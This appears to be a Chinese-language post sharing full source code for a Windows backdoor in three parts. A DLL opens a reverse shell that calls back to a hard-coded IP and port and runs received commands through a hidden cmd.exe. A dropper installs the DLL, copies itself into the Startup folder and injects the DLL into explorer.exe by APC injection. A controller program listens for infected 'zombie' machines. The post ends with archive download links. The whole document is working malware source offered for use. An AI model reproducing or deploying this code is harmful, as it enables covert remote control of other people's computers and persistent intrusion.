1:服务端的DLL文件
//
rspDoor.cpp : Defines the entry point for the DLL application.
//
#include
"
stdafx.h
"
#include
<
windows.h
>
#include
"
rspDoor.h
"
BOOL SocketInit()
{
WSADATA wsaData
=
{
0
};
if
( WSAStartup(MAKEWORD(
2
,
2
),
&
wsaData)
==
NO_ERROR ) {
return
TRUE;
}
else
{
return
FALSE;
}
}
int
SendData(SOCKET m_Sock,
void
*
pBuf, DWORD dwBufLen)
{
if
( m_Sock
==
INVALID_SOCKET
||
!
pBuf
||
dwBufLen
<=
0
) {
return
-
1
;
}
int
iCurrSend
=
0
, offset
=
0
;
do
{
iCurrSend
=
send(m_Sock, (
char
*
)pBuf
+
offset, dwBufLen,
0
);
if
( iCurrSend
<=
0
) {
break
;
}
dwBufLen
-=
iCurrSend;
offset
+=
iCurrSend;
}
while
( dwBufLen
>
0
);
return
offset;
}
BOOL bExit
=
FALSE;
#define
RECV_BUF_LEN 4096
#define
CMD_BUF_LEN 500
DWORD WINAPI ThreadOutputProc(LPVOID lpParam)
{
CThreadNode tNode
=
*
(CThreadNode
*
)lpParam;
char
szBuf[RECV_BUF_LEN]
=
{
0
};
DWORD dwReadLen
=
0
, dwTotalAvail
=
0
;
BOOL bRet
=
FALSE;
while
(
!
bExit ) {
dwTotalAvail
=
0
;
bRet
=
PeekNamedPipe(tNode.hPipe, NULL,
0
, NULL,
&
dwTotalAvail, NULL);
if
( bRet
&&
dwTotalAvail
>
0
) {
bRet
=
ReadFile(tNode.hPipe, szBuf, RECV_BUF_LEN,
&
dwReadLen, NULL);
if
( bRet
&&
dwReadLen
>
0
) {
SendData(tNode.m_Sock, szBuf, dwReadLen);
}
}
Sleep(
50
);
}
return
TRUE;
}
BOOL StartShell(UINT uPort, LPCSTR lpszIpAddr)
{
if
(
!
SocketInit() ) {
return
FALSE;
}
SOCKET m_ConnectSock
=
socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if
( m_ConnectSock
==
INVALID_SOCKET ) {
return
FALSE;
}
sockaddr_in sServer
=
{
0
};
sServer.sin_family
=
AF_INET;
sServer.sin_addr.s_addr
=
inet_addr(lpszIpAddr);
sServer.sin_port
=
htons(uPort);
int
iRet
=
0
;
do
{
iRet
=
connect(m_ConnectSock, (sockaddr
*
)
&
sServer,
sizeof
(sServer));
}
while
( iRet
==
SOCKET_ERROR );
//
Ready for the pipe;
SECURITY_ATTRIBUTES sa
=
{
0
};
HANDLE hReadPipe
=
NULL, hWritePipe
=
NULL;
sa.nLength
=
sizeof
(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor
=
NULL;
sa.bInheritHandle
=
TRUE;
if
(
!
CreatePipe(
&
hReadPipe,
&
hWritePipe,
&
sa,
0
) ) {
return
FALSE;
}
//
Ready for the CreateProcess function;
PROCESS_INFORMATION pi
=
{
0
};
STARTUPINFO si
=
{
0
};
si.cb
=
sizeof
(STARTUPINFO);
GetStartupInfo(
&
si);
si.dwFlags
=
STARTF_USESHOWWINDOW
|
STARTF_USESTDHANDLES;
si.hStdOutput
=
si.hStdError
=
hWritePipe;
si.wShowWindow
=
SW_HIDE;
//
Ready for the CreateThread function;
DWORD dwThreadID
=
0
;
CThreadNode m_ReadNode;
m_ReadNode.m_Sock
=
m_ConnectSock;
m_ReadNode.hPipe
=
hReadPipe;
HANDLE hThread
=
CreateThread(NULL,
0
, ThreadOutputProc,
&
m_ReadNode,
0
,
&
dwThreadID);
int
iRecved
=
0
;
TCHAR szCmdLine[CMD_BUF_LEN]
=
{
0
}, szBuf[RECV_BUF_LEN]
=
{
0
}, szCmdBuf[CMD_BUF_LEN]
=
{
0
};
while
( TRUE ) {
ZeroMemory(szBuf, RECV_BUF_LEN);
iRecved
=
recv(m_ConnectSock, szBuf, RECV_BUF_LEN,
0
);
if
( iRecved
>
0
&&
iRecved
!=
SOCKET_ERROR ) {
strcat(szCmdBuf,szBuf);
if
( _tcsstr(szCmdBuf, _T(
"
\n
"
)) ) {
//
Run the command;
ZeroMemory(szCmdLine, CMD_BUF_LEN);
GetSystemDirectory(szCmdLine, CMD_BUF_LEN);
strcat(szCmdLine,_T(
"
\\cmd.exe /c
"
));
strncat(szCmdLine,szCmdBuf, _tcslen(szCmdBuf));
if
(
!
CreateProcess(NULL, szCmdLine, NULL, NULL, TRUE,
0
, NULL, NULL,
&
si,
&
pi) ) {
continue
;
}
else
{
ZeroMemory(szCmdBuf, CMD_BUF_LEN);
}
}
}
else
{
closesocket(m_ConnectSock);
bExit
=
TRUE;
WaitForSingleObject(hThread, INFINITE);
break
;
}
Sleep(
100
);
}
WSACleanup();
return
TRUE;
}
DWORD WINAPI ThreadProc(LPVOID lpParam)
{
StartShell(
9527
, _T(
"
192.168.10.112
"
));
return
0
;
}
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch
(ul_reason_for_call)
{
case
DLL_PROCESS_ATTACH:
CreateThread(NULL,
0
, ThreadProc, NULL,
0
, NULL);
break
;
case
DLL_THREAD_ATTACH:
case
DLL_THREAD_DETACH:
case
DLL_PROCESS_DETACH:
break
;
}
return
TRUE;
}
2:执行DLL插入和启动
//
rookit.cpp : Defines the entry point for the application.
//
#include
"
stdafx.h
"
#include
"
resource.h
"
#include
<
stdio.h
>
#include
<
stdlib.h
>
#include
<
Tlhelp32.h
>
#define
SystemUp "rspDoor.dll"
DWORD WINAPI StartShell(LPVOID lpParam);
typedef HANDLE (__stdcall
*
OPENTHREAD) (DWORD dwFlag, BOOL bUnknow, DWORD dwThreadId);
typedef
struct
_TIDLIST
{
DWORD dwTid ;
_TIDLIST
*
pNext ;
}TIDLIST;
DWORD EnumThread(HANDLE hProcess, TIDLIST
*
pThreadIdList)
{
TIDLIST
*
pCurrentTid
=
pThreadIdList ;
const
char
szInjectModName[]
=
"
C:\\WINDOWS\\system32\\rspDoor.dll
"
;
DWORD dwLen
=
strlen(szInjectModName) ;
PVOID param
=
VirtualAllocEx(hProcess, \
NULL, dwLen, MEM_COMMIT
|
MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE) ;
if
(param
!=
NULL)
{
DWORD dwRet ;
if
(WriteProcessMemory(hProcess, param, (LPVOID)szInjectModName, dwLen,
&
dwRet))
{
while
(pCurrentTid)
{
HMODULE hDll
=
::LoadLibrary(
"
Kernel32.dll
"
);
OPENTHREAD lpfnOpenThread
=
(OPENTHREAD)::GetProcAddress(hDll,
"
OpenThread
"
);
HANDLE hThread
=
lpfnOpenThread(THREAD_ALL_ACCESS, FALSE, pCurrentTid
->
dwTid);
if
(hThread
!=
NULL)
{
//
//
注入DLL到指定进程
//
QueueUserAPC((PAPCFUNC)LoadLibraryA, hThread, (unsigned
long
)param);
}
printf(
"
TID:%d\n
"
, pCurrentTid
->
dwTid) ;
pCurrentTid
=
pCurrentTid
->
pNext ;
}
}
}
return
0
;
}
//////////////////////////////////////////
////////////////////////////////////////////////
//
DWORD GetProcID(
const
char
*
szProcessName)
{
PROCESSENTRY32 pe32
=
{
0
} ;
pe32.dwSize
=
sizeof
(PROCESSENTRY32);
HANDLE hSnapshot
=
CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,
0
) ;
if
(hSnapshot
==
INVALID_HANDLE_VALUE)
{
return
0xFFFFFFFF
;
}
if
(
!
Process32First(hSnapshot,
&
pe32))
{
return
0xFFFFFFFF
;
}
do
{
if
(
!
_strnicmp(szProcessName, pe32.szExeFile, strlen(szProcessName)))
{
printf(
"
%s的PID是:%d\n
"
, pe32.szExeFile, pe32.th32ProcessID);
return
pe32.th32ProcessID ;
}
}
while
(Process32Next(hSnapshot,
&
pe32));
return
0xFFFFFFFF
;
}
////////////////////////////////////
/////////////////////////////////////////////////////////
//
TIDLIST
*
InsertTid(TIDLIST
*
pdwTidListHead, DWORD dwTid)
{
TIDLIST
*
pCurrent
=
NULL ;
TIDLIST
*
pNewMember
=
NULL ;
if
(pdwTidListHead
==
NULL)
{
return
NULL ;
}
pCurrent
=
pdwTidListHead ;
while
(pCurrent
!=
NULL)
{
if
(pCurrent
->
pNext
==
NULL)
{
//
//
定位到链表最后一个元素
//
pNewMember
=
(TIDLIST
*
)malloc(
sizeof
(TIDLIST)) ;
if
(pNewMember
!=
NULL)
{
pNewMember
->
dwTid
=
dwTid ;
pNewMember
->
pNext
=
NULL ;
pCurrent
->
pNext
=
pNewMember ;
return
pNewMember ;
}
else
{
return
NULL ;
}
}
pCurrent
=
pCurrent
->
pNext ;
}
return
NULL ;
}
int
EnumThreadID(DWORD dwPID, TIDLIST
*
pdwTidList)
{
int
i
=
0
;
THREADENTRY32 te32
=
{
0
} ;
te32.dwSize
=
sizeof
(THREADENTRY32) ;
HANDLE hSnapshot
=
CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD,dwPID) ;
if
(hSnapshot
!=
INVALID_HANDLE_VALUE)
{
if
(Thread32First(hSnapshot,
&
te32))
{
do
{
if
(te32.th32OwnerProcessID
==
dwPID)
{
if
(pdwTidList
->
dwTid
==
0
)
{
pdwTidList
->
dwTid
=
te32.th32ThreadID ;
}
else
{
if
(NULL
==
InsertTid(pdwTidList, te32.th32ThreadID))
{
printf(
"
插入失败!\n
"
) ;
return
0
;
}
}
}
}
while
(Thread32Next(hSnapshot,
&
te32));
}
}
return
1
;
}
DWORD WINAPI StartShell(LPVOID lpParam)
{
TIDLIST
*
pTidHead
=
(TIDLIST
*
)malloc(
sizeof
(TIDLIST)) ;
if
(pTidHead
==
NULL)
{
return
1
;
}
RtlZeroMemory(pTidHead,
sizeof
(TIDLIST)) ;
DWORD dwPID
=
0
;
if
((dwPID
=
GetProcID(
"
explorer.exe
"
))
==
0xFFFFFFFF
)
{
printf(
"
进程ID获取失败!\n
"
) ;
return
1
;
}
//
//
枚举线程ID
//
EnumThreadID(dwPID, pTidHead) ;
HANDLE hProcess
=
OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID) ;
if
(hProcess
==
NULL)
{
return
1
;
}
EnumThread(hProcess, pTidHead) ;
return
0
;
}
int
APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int
nCmdShow)
{
HRSRC hResInfo;
HGLOBAL hResData;
DWORD dwSize,dwWritten;
HANDLE hFile;
char
SystemPath[MAX_PATH]
=
{
0
};
GetSystemDirectory( SystemPath , MAX_PATH );
int
len
=
strlen(SystemPath)
-
1
;
if
( SystemPath[len]
!=
'
\\
'
)
strcat(SystemPath,
"
\\
"
);
strcat(SystemPath,SystemUp);
//
查询所需的资源
hResInfo
=
FindResource(NULL,MAKEINTRESOURCE(IDR_DLL1),
"
Dll
"
);
if
(hResInfo
==
NULL)
{
return
0
;
}
//
获得资源尺寸
dwSize
=
SizeofResource(NULL,hResInfo);
//
装载资源
hResData
=
LoadResource(NULL,hResInfo);
if
(hResData
==
NULL)
return
0
;
//
写文件
hFile
=
CreateFile(SystemPath,GENERIC_WRITE,
0
,NULL,CREATE_ALWAYS,
0
,NULL);
if
(hResData
==
NULL)
return
0
;
WriteFile(hFile,(LPCVOID)LockResource(hResData),dwSize,
&
dwWritten,NULL);
CloseHandle(hFile);
//////////////////////////////////////////
//
///////////////////////////////////////
char
szPath[
100
]
=
{
0
};
::GetSystemDirectory(szPath,MAX_PATH);
char
szDst[
100
]
=
{
0
};
for
(
int
i
=
0
; i
<
3
;i
++
)
szDst[i]
=
szPath[i];
strcat(szDst,
"
Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\mao.exe
"
);
TCHAR szTmp[MAX_PATH]
=
{
0
};
if
(
!
GetModuleFileName(NULL,szTmp,
sizeof
(szTmp)))
{
return
0
;
}
int
r;
r
=
strcmp(szTmp,szDst);
if
(
!
r)
{
goto
stop;
}
if
(
!
CopyFile(szTmp,szDst,FALSE))
{
return
0
;
}
stop:
//
printf("\n\t 现在的目录是%s\n",szDst);
//
得到当前程序名
TCHAR szCurPath[MAX_PATH];
memset(szCurPath,
0
, MAX_PATH);
GetModuleFileName(NULL, szCurPath,
sizeof
(szCurPath)
/
sizeof
(TCHAR));
if
(
!
(MoveFileEx(szCurPath,
"
c:\\FK.BAK
"
,MOVEFILE_REPLACE_EXISTING
|
MOVEFILE_COPY_ALLOWED)))
//
若是要在不同的volume下移动文件,需要此项 COPY_ALLOWED
::MessageBox(NULL,
"
第一次移动文件失败
"
,
"
test
"
,MB_OK);
if
(
!
::MoveFileEx(
"
c:\\FK.BAK
"
,szDst,MOVEFILE_DELAY_UNTIL_REBOOT
|
MOVEFILE_REPLACE_EXISTING))
{
::MessageBox(NULL,
"
移动文件失败
"
,
"
test
"
,MB_OK);
}
else
printf(
"
任务完成\n
"
);
/*
system("pause");
*/
//
创建并等待线程
//
StartShell 为后门线程函数,大家可以自己实现相应的功能
HANDLE hthread
=
::CreateThread(NULL,NULL,StartShell,NULL,NULL,NULL);
//
::MessageBox(NULL,"哈哈 恶搞一下","test",MB_OK);
//
CloseHandle(hthread);
::WaitForSingleObject(hthread,INFINITE);
CloseHandle(hthread);
return
0
;
//////////////////////////////////////////
//
}
3:客户端:
//
stdafx.cpp : source file that includes just the standard includes
//
server.pch will be the pre-compiled header
//
stdafx.obj will contain the pre-compiled type information
#include
"
stdafx.h
"
#include
<
afxtempl.h
>
#include
"
inc.h
"
#include
"
Resource.h
"
#include
"
serverDlg.h
"
HANDLE hThreadOutput, hThreadInput;
SOCKET sendsock;
CArray
<
CThreadNode, CThreadNode
>
m_ClientArray;
extern
int
iteam;
DWORD WINAPI ThreadOutputProc(LPVOID lpParam)
{
/*
CServerDlg *tNode = (CServerDlg *)lpParam;
while ( TRUE )
{
CString sCmd= "";
tNode->GetDlgItemText(IDC_EDIT2,sCmd);
if(sCmd.IsEmpty()==0)
{
DecodeCMD(&sCmd);
TRACE("\n CMD = %s",sCmd);
sCmd=sCmd+"\r\n";
send ( tNode->m_Sock , sCmd , sCmd.GetLength(),0);
}
tNode->SetDlgItemText(IDC_EDIT2,"");
Sleep(1000);
}
*/
return
TRUE;
}
int
SendData(SOCKET m_Sock,
void
*
pBuf, DWORD dwBufLen)
{
if
( m_Sock
==
INVALID_SOCKET
||
!
pBuf
||
dwBufLen
<=
0
) {
return
-
1
;
}
int
iCurrSend
=
0
, offset
=
0
;
do
{
iCurrSend
=
send(m_Sock, (
char
*
)pBuf
+
offset, dwBufLen,
0
);
if
( iCurrSend
<=
0
) {
break
;
}
dwBufLen
-=
iCurrSend;
offset
+=
iCurrSend;
}
while
( dwBufLen
>
0
);
return
offset;
}
void
DecodeCMD(CString
*
pStr)
{
CString Tcmd
=
*
pStr;
if
( Tcmd[
0
]
!=
'
-
'
)
return
;
char
*
p
=
Tcmd.GetBuffer(
256
);
char
*
startp
=
p
+
1
;
while
(
*
(
++
p)
==
'
'
);
char
cmdtype[
16
]
=
{
0
};
int
Len
=
Tcmd.GetLength()
-
1
;
char
*
p1
=
strstr(p,
"
"
);
char
*
p2
=
NULL;
if
( p1 )
{
memcpy(cmdtype,p,p1
-
p);
while
(
*
p1
==
'
'
)
p1
++
;
}
else
memcpy(cmdtype,p,strlen(p));
Sleep(
1000
);
}
DWORD WINAPI ThreadInputProc(LPVOID lpParam)
{
CThreadNode tNode
=
*
(CThreadNode
*
)lpParam;
while
( TRUE)
{
if
(tNode.m_pMainWnd
->
bShutDown
=
TRUE)
{
if
( SOCKET_Select(tNode.mm_Sock,
100
, TRUE) )
{
TCHAR szBuf[MAX_BUF_SIZE]
=
{
0
};
int
iRet
=
recv(tNode.mm_Sock, (
char
*
)szBuf, MAX_BUF_SIZE,
0
);
CString strMsg
=
szBuf;
if
( iRet
>
0
)
{
strMsg
=
_T(
"
客户端:
"
)
+
strMsg;
tNode.m_pMainWnd
->
ShowMsg(strMsg);
tNode.m_pMainWnd
->
bShutDown
=
FALSE;
}
else
{
strMsg
=
tNode.m_strIp
+
_T(
"
客户端下线
"
);
AfxMessageBox(strMsg);
//
tNode.m_pMainWnd->ShowMsg(strMsg);
if
(tNode.m_pMainWnd
->
m_caller_list.GetItemText(iteam,
1
)
==
tNode.m_strIp)
{
tNode.m_pMainWnd
->
m_caller_list.DeleteItem(iteam);
}
break
;
}
Sleep(
1000
);
}
}
}
return
TRUE;
}
DWORD WINAPI ListenThreadFunc(LPVOID pParam)
{
CServerDlg
*
pChatRoom
=
(CServerDlg
*
)pParam;
ASSERT(pChatRoom
!=
NULL);
pChatRoom
->
m_ListenSock
=
socket(AF_INET , SOCK_STREAM , IPPROTO_TCP);
if
( pChatRoom
->
m_ListenSock
==
INVALID_SOCKET ) {
AfxMessageBox(_T(
"
新建Socket失败!
"
));
return
FALSE;
}
int
iPort
=
pChatRoom
->
GetDlgItemInt(IDC_LISTEN_PORT);
if
( iPort
<=
0
||
iPort
>
65535
) {
AfxMessageBox(_T(
"
请输入合适的端口:1 - 65535
"
));
goto
__Error_End;
}
sockaddr_in service;
service.sin_family
=
AF_INET;
service.sin_addr.s_addr
=
INADDR_ANY;
service.sin_port
=
htons(iPort);
if
( bind(pChatRoom
->
m_ListenSock, (sockaddr
*
)
&
service,
sizeof
(sockaddr_in))
==
SOCKET_ERROR ) {
AfxMessageBox(_T(
"
绑定端口失败!
"
));
goto
__Error_End;
}
if
( listen(pChatRoom
->
m_ListenSock,
5
)
==
SOCKET_ERROR ) {
AfxMessageBox(_T(
"
监听失败!
"
));
goto
__Error_End;
}
AfxMessageBox(_T(
"
监听成功!
"
));
while
( TRUE ) {
if
( SOCKET_Select(pChatRoom
->
m_ListenSock,
100
, TRUE) ) {
sockaddr_in clientAddr;
int
iLen
=
sizeof
(sockaddr_in);
SOCKET accSock
=
accept(pChatRoom
->
m_ListenSock, (
struct
sockaddr
*
)
&
clientAddr ,
&
iLen);
if
(accSock
==
INVALID_SOCKET) {
continue
;
}
AfxMessageBox(_T(
"
肉鸡上线
"
));
CThreadNode m_ReadNode;
m_ReadNode.mm_Sock
=
accSock;
m_ReadNode.m_pMainWnd
=
pChatRoom;
m_ReadNode.m_strIp
=
inet_ntoa(clientAddr.sin_addr);
int
idx
=
m_ClientArray.Add(m_ReadNode);
CString mao;
mao.Format(
"
%d
"
,idx);
pChatRoom
->
m_caller_list.InsertItem(
0
, mao );
pChatRoom
->
m_caller_list.SetItemText(
0
,
1
,m_ReadNode.m_strIp);
//
AfxMessageBox(m_ReadNode.m_strIp);
sendsock
=
accSock;
hThreadInput
=
CreateThread(NULL,
0
, ThreadInputProc,
&
m_ReadNode,
0
,
0
);
Sleep(
100
);
}
}
__Error_End:
closesocket(pChatRoom
->
m_ListenSock);
return
TRUE;
}
BOOL SOCKET_Select(SOCKET hSocket,
int
nTimeOut, BOOL bRead)
{
fd_set fdset;
timeval tv;
FD_ZERO(
&
fdset);
FD_SET(hSocket,
&
fdset);
nTimeOut
=
nTimeOut
>
1000
?
1000
: nTimeOut;
tv.tv_sec
=
0
;
tv.tv_usec
=
nTimeOut;
int
iRet
=
0
;
if
( bRead ) {
iRet
=
select(
0
,
&
fdset, NULL , NULL,
&
tv);
//
可读性Socket
}
else
{
iRet
=
select(
0
, NULL ,
&
fdset, NULL,
&
tv);
//
可写性Socket
}
if
(iRet
<=
0
) {
return
FALSE;
}
else
if
(FD_ISSET(hSocket,
&
fdset)){
return
TRUE;
}
return
FALSE;
}
/Files/tt_mc/rookit.rar
/Files/tt_mc/server.rar